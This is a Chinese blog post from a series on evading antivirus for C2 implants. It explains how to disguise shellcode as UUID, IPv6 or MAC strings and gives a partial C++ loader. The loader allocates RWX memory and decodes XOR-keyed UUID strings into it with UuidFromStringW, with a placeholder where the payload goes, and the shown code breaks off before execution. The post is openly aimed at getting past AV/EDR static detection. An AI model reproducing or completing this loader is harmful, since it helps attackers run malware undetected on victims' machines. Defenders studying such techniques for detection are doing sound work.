当前位置: 首页 > news >正文

【免杀】C2免杀技术(十五)shellcode混淆uuid/ipv6/mac

针对 shellcode 混淆(Shellcode Obfuscation) 的实战手段还有很多,如下表所示:

类型举例目的
编码 / 加密XOR、AES、RC4、Base64、Poly1305、UUID、IP/MAC改变字节特征,避开静态签名或 YARA
结构伪装PE Stub、GIF/PNG 嵌入、RTF OLE、UUID、IP/MAC看起来像合法文件/数据,弱化“可执行”标签
控制流混淆偏移、乱序、分段、跳转链、指令变异破坏解码器/反汇编器的直线流

加密手段之前文章写过,详见:【免杀】C2免杀技术(三)shellcode加密 ,本文介绍一些其它方式。 

UUID Obfuscation

“UUID Obfuscation” 是一种非常实用的 shellcode 混淆与免杀手段,利用 UUID(通用唯一识别码)的标准格式来编码恶意 shellcode,使其看起来像正常的标识符,从而绕过静态特征检测。

UUID(Universally Unique Identifier)是通用唯一标识符的缩写,标准格式如下: 

xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
//例如:b36fa7a3-e8cf-4d99-9db0-9a9b9e3768e1

思路

1、伪装 shellcode:
把原始或加密的 shellcode 按照 16 字节一组切割,每组转换为一个 UUID 字符串(或多个 UUID 组合),看起来像合法数据,避免被 AV/EDR 静态特征识别。

2、还原 shellcode:
在运行时,用如 UuidFromStringA() 等 API 将 UUID 字符串反解为 16 字节的原始数据,重新组合形成完整 shellcode,然后执行。

加载器

#include <Windows.h>
#include <Rpc.h>
#pragma comment(lib, "Rpcrt4.lib")constexpr BYTE   XOR_KEY[] = { 'k','u','n' };
constexpr SIZE_T KEY_LEN = sizeof(XOR_KEY);static const wchar_t UUID_BLOB[] = LR"(
//自己的payload
)"; int wmain()
{// 1) 统计块数, 计算加密大小SIZE_T uuidCount = 0;for (const wchar_t* p = UUID_BLOB; *p; ++p)if (*p == L'\n') ++uuidCount;if (UUID_BLOB[0]) ++uuidCount;const SIZE_T encSize = uuidCount * 16;// 2) 申请 RWX 内存BYTE* execMem = static_cast<BYTE*>(VirtualAlloc(nullptr, encSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE));if (!execMem) return -10;// 3) 分割 blob, 调用 UuidFromStringW 写入wchar_t* blobCopy = _wcsdup(UUID_BLOB);           // 可写副本if (!blobCopy) return -11;SIZE_T offset = 0;wchar_t* ctx = nullptr;for (wchar_t* tok = wcstok(blobCopy, L"\n\r\t ", &ctx);tok && *tok;tok = wcstok(nullptr, L"\n\r\t ", &ctx)){UUID* dest = reinterpret_cast<UUID*>(execMem + offset);

相关文章:

  • 【原理解析】为什么显示器Fliker dB值越大,闪烁程度越轻?
  • (LeetCode 每日一题)3403. 从盒子中找出字典序最大的字符串 I (贪心+枚举)
  • SOC-ESP32S3部分​​​​​​​:29-乐鑫组件库的使用
  • 【DVWA系列】——Brute Force(暴力破解)——low
  • 1. 数据库基础
  • C++修炼:C++11(一)
  • 新品发布 | 同星新一代TC1055 Pro开启车载网络测试新时代
  • zabbix 6 监控 docker 容器
  • 营养配餐实训室产教融合新标杆
  • 重装系统+驱动+磁盘分区
  • unix/linux,sudo,其基本属性、语法、操作、api
  • 数据结构(8)树-二叉树
  • android与Qt类比
  • 【c++】STL-string容器的使用
  • 驱动:字符设备驱动注册、读写实操
  • [Harmony]颜色初始化
  • [Harmony]网络状态监听
  • 5.29-6.4解决问题归纳
  • ‘pnpm‘ 不是内部或外部命令,也不是可运行的程序
  • Linux系统iptables防火墙实验拓补
  • 网站制作源码版权/专注于品牌营销服务
  • 标准件做网站推广效果怎么样/为什么sem的工资都不高
  • 网站建设所需的基本条件/湖南关键词优化排名推广
  • wordpress购物网站/搜索引擎营销总结
  • 深圳门户网站开发/深圳网站优化平台
  • 南京网站设计培训价格/腾讯网qq网站